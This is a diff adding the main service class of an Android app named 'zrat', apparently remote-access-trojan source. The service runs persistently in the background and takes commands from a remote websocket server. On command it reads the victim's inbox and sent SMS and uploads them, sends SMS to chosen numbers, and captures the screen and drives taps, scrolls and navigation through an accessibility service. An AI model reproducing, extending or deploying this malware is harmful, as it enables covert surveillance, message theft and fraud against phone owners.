|
|
@@ -0,0 +1,315 @@
|
|
|
+package com.example.zrat;
|
|
|
+
|
|
|
+import android.Manifest;
|
|
|
+import android.app.Notification;
|
|
|
+import android.app.NotificationChannel;
|
|
|
+import android.app.NotificationManager;
|
|
|
+import android.app.Service;
|
|
|
+import android.content.Context;
|
|
|
+import android.content.Intent;
|
|
|
+import android.content.pm.ApplicationInfo;
|
|
|
+import android.content.pm.PackageManager;
|
|
|
+import android.database.Cursor;
|
|
|
+import android.graphics.Color;
|
|
|
+import android.net.Uri;
|
|
|
+import android.os.Binder;
|
|
|
+import android.os.Build;
|
|
|
+import android.os.Bundle;
|
|
|
+import android.os.IBinder;
|
|
|
+import android.provider.Settings;
|
|
|
+import android.telephony.SmsManager;
|
|
|
+import android.util.Log;
|
|
|
+
|
|
|
+import androidx.annotation.RequiresApi;
|
|
|
+import androidx.core.app.NotificationCompat;
|
|
|
+
|
|
|
+import com.example.zrat.permissions.PermissionManager;
|
|
|
+import com.example.zrat.permissions.models.DeniedPermissions;
|
|
|
+import com.google.gson.Gson;
|
|
|
+
|
|
|
+import org.apache.commons.collections4.MapUtils;
|
|
|
+import org.apache.commons.lang3.StringUtils;
|
|
|
+import org.json.JSONException;
|
|
|
+import org.json.JSONObject;
|
|
|
+
|
|
|
+import java.util.ArrayList;
|
|
|
+import java.util.Arrays;
|
|
|
+import java.util.Collections;
|
|
|
+import java.util.HashMap;
|
|
|
+import java.util.List;
|
|
|
+import java.util.Map;
|
|
|
+import java.util.Objects;
|
|
|
+
|
|
|
+import io.socket.client.IO;
|
|
|
+import io.socket.client.Socket;
|
|
|
+import pub.devrel.easypermissions.EasyPermissions;
|
|
|
+
|
|
|
+public class ZService extends Service {
|
|
|
+ private final static String TAG = "ZService";
|
|
|
+
|
|
|
+ private final IBinder binder = new ZBinder();
|
|
|
+ private Socket mSocket;
|
|
|
+
|
|
|
+ public ZService() {
|
|
|
+ }
|
|
|
+
|
|
|
+ public class ZBinder extends Binder {
|
|
|
+ public ZService getService() {
|
|
|
+ return ZService.this;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public IBinder onBind(Intent intent) {
|
|
|
+ return binder;
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public int onStartCommand(Intent intent, int flags, int startId) {
|
|
|
+ super.onStartCommand(intent, flags, startId);
|
|
|
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
|
|
+ startMyOwnForeground();
|
|
|
+ } else {
|
|
|
+ startForeground(1, new Notification());
|
|
|
+ }
|
|
|
+ return Service.START_STICKY;
|
|
|
+ }
|
|
|
+
|
|
|
+ @RequiresApi(api = Build.VERSION_CODES.O)
|
|
|
+ private void startMyOwnForeground() {
|
|
|
+ String NOTIFICATION_CHANNEL_ID = "com.play.service.techno";
|
|
|
+ String channelName = "My Background Service";
|
|
|
+ NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
|
|
|
+ chan.setLightColor(Color.BLUE);
|
|
|
+ chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
|
|
|
+ NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
|
|
|
+ assert manager != null;
|
|
|
+ manager.createNotificationChannel(chan);
|
|
|
+
|
|
|
+ NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
|
|
|
+ Notification notification = notificationBuilder.setOngoing(true)
|
|
|
+ .setContentTitle("App is running in background")
|
|
|
+ .setPriority(NotificationManager.IMPORTANCE_MIN)
|
|
|
+ .setCategory(Notification.CATEGORY_SERVICE)
|
|
|
+ .build();
|
|
|
+ startForeground(1, notification);
|
|
|
+ }
|
|
|
+
|
|
|
+ private String getSocketUrl() {
|
|
|
+ try {
|
|
|
+ ApplicationInfo appInfo = getPackageManager().getApplicationInfo(getPackageName(), PackageManager.GET_META_DATA);
|
|
|
+ Bundle bundle = appInfo.metaData;
|
|
|
+ return bundle.getString("socket_url");
|
|
|
+ } catch (PackageManager.NameNotFoundException e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ return null;
|
|
|
+ }
|
|
|
+
|
|
|
+ private String getModel() {
|
|
|
+ String manufacturer = Build.MANUFACTURER;
|
|
|
+ String model = Build.MODEL;
|
|
|
+ return StringUtils.capitalize(manufacturer) + " " + model;
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onCreate() {
|
|
|
+ super.onCreate();
|
|
|
+ try {
|
|
|
+ String socketUrl = getSocketUrl();
|
|
|
+ IO.Options options = new IO.Options();
|
|
|
+ options.path = "/ws";
|
|
|
+ options.transports = new String[]{"websocket"};
|
|
|
+ mSocket = IO.socket(socketUrl, options);
|
|
|
+ mSocket.on(Socket.EVENT_CONNECT, args -> {
|
|
|
+ Map<String, Object> map = new HashMap<>();
|
|
|
+ map.put("model", getModel());
|
|
|
+ JSONObject json = new JSONObject(map);
|
|
|
+ mSocket.emit("info", json);
|
|
|
+ });
|
|
|
+ mSocket.on(Socket.EVENT_DISCONNECT, args -> {
|
|
|
+ Log.i(TAG, "socket disconnect ");
|
|
|
+ });
|
|
|
+ mSocket.on("cmd", args -> {
|
|
|
+ Log.d(TAG, "Received command: " + Arrays.toString(args));
|
|
|
+ Gson gson = new Gson();
|
|
|
+ JSONObject jsonObject = (JSONObject) args[0];
|
|
|
+ try {
|
|
|
+ Command command = gson.fromJson(jsonObject.toString(), Command.class);
|
|
|
+ switch (Objects.requireNonNull(command).getAction()) {
|
|
|
+ case "sendSms":
|
|
|
+ handleSendSms(command);
|
|
|
+ break;
|
|
|
+ case "readSms":
|
|
|
+ handleReadSms(command);
|
|
|
+ break;
|
|
|
+ case "getScreen":
|
|
|
+ handleGetScreen(command);
|
|
|
+ break;
|
|
|
+ case "click":
|
|
|
+ handleClick(command);
|
|
|
+ break;
|
|
|
+ case "scrollDown":
|
|
|
+ handleScrollDown(command);
|
|
|
+ break;
|
|
|
+ case "scrollUp":
|
|
|
+ handleScrollUp(command);
|
|
|
+ break;
|
|
|
+ case "home":
|
|
|
+ handleHome(command);
|
|
|
+ break;
|
|
|
+ case "back":
|
|
|
+ handleBack(command);
|
|
|
+ break;
|
|
|
+ case "recent":
|
|
|
+ handleRecentApps(command);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ });
|
|
|
+ mSocket.connect();
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleReadSms(Command command) {
|
|
|
+ if (EasyPermissions.hasPermissions(this, Manifest.permission.READ_SMS)) {
|
|
|
+ readSms(command.getFrom());
|
|
|
+ } else {
|
|
|
+ PermissionManager.getInstance(this).checkPermissions(Arrays.asList(Manifest.permission.READ_SMS), new PermissionManager.PermissionRequestListener() {
|
|
|
+ @Override
|
|
|
+ public void onPermissionGranted() {
|
|
|
+ readSms(command.getFrom());
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
+
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void readSms(String socketId) {
|
|
|
+ try {
|
|
|
+ List<Map<String, String>> list = new ArrayList<>();
|
|
|
+
|
|
|
+ Uri uriSMSURI = Uri.parse("content://sms/inbox");
|
|
|
+ Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);
|
|
|
+
|
|
|
+ while (cur.moveToNext() && list.size() < 100) {
|
|
|
+ Map<String, String> sms = new HashMap<>();
|
|
|
+ Arrays.stream(cur.getColumnNames()).forEach(column -> {
|
|
|
+ int index = cur.getColumnIndex(column);
|
|
|
+ String value = cur.getString(index);
|
|
|
+ sms.put(column, value);
|
|
|
+ });
|
|
|
+ list.add(sms);
|
|
|
+ }
|
|
|
+
|
|
|
+ Uri uriSentURI = Uri.parse("content://sms/sent");
|
|
|
+ Cursor sentCursor = this.getApplicationContext().getContentResolver().query(uriSentURI, null, null, null, null);
|
|
|
+ while (sentCursor.moveToNext()) {
|
|
|
+ Map<String, String> sms = new HashMap<>();
|
|
|
+ Arrays.stream(sentCursor.getColumnNames()).forEach(column -> {
|
|
|
+ int index = sentCursor.getColumnIndex(column);
|
|
|
+ String value = sentCursor.getString(index);
|
|
|
+ sms.put(column, value);
|
|
|
+ });
|
|
|
+ list.add(sms);
|
|
|
+ }
|
|
|
+
|
|
|
+ mSocket.emit("result", new JSONObject(new Gson().toJson(
|
|
|
+ new Result(socketId, "readSms", list)
|
|
|
+ )));
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleSendSms(Command command) {
|
|
|
+ if (EasyPermissions.hasPermissions(this, Manifest.permission.SEND_SMS)) {
|
|
|
+ sendSms(MapUtils.getString(command.getData(), "phone"), MapUtils.getString(command.getData(), "message"));
|
|
|
+ } else {
|
|
|
+ PermissionManager.getInstance(this)
|
|
|
+ .checkPermissions(Collections.singletonList(Manifest.permission.SEND_SMS),
|
|
|
+ new PermissionManager.PermissionRequestListener() {
|
|
|
+ @Override
|
|
|
+ public void onPermissionGranted() {
|
|
|
+ sendSms(MapUtils.getString(command.getData(), "phone"),
|
|
|
+ MapUtils.getString(command.getData(), "message"));
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
+
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void sendSms(String phone, String message) {
|
|
|
+ try {
|
|
|
+ SmsManager smsManager = SmsManager.getDefault();
|
|
|
+ smsManager.sendTextMessage(phone, null, message, null, null);
|
|
|
+ } catch (Exception ex) {
|
|
|
+ ex.printStackTrace();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleGetScreen(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ Map<String, Object> map = AccessibilityService.instance.getScreen();
|
|
|
+ Gson gson = new Gson();
|
|
|
+ String json = gson.toJson(map);
|
|
|
+ try {
|
|
|
+ mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
|
|
|
+ } catch (JSONException e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleClick(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ int x = MapUtils.getInteger(command.getData(), "x");
|
|
|
+ int y = MapUtils.getInteger(command.getData(), "y");
|
|
|
+ AccessibilityService.instance.performClick(x, y);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleScrollDown(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.scrollDown();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleScrollUp(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.scrollUp();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleHome(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.home();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleBack(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.back();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private void handleRecentApps(Command command) {
|
|
|
+ if (AccessibilityService.instance != null) {
|
|
|
+ AccessibilityService.instance.recent();
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+}
|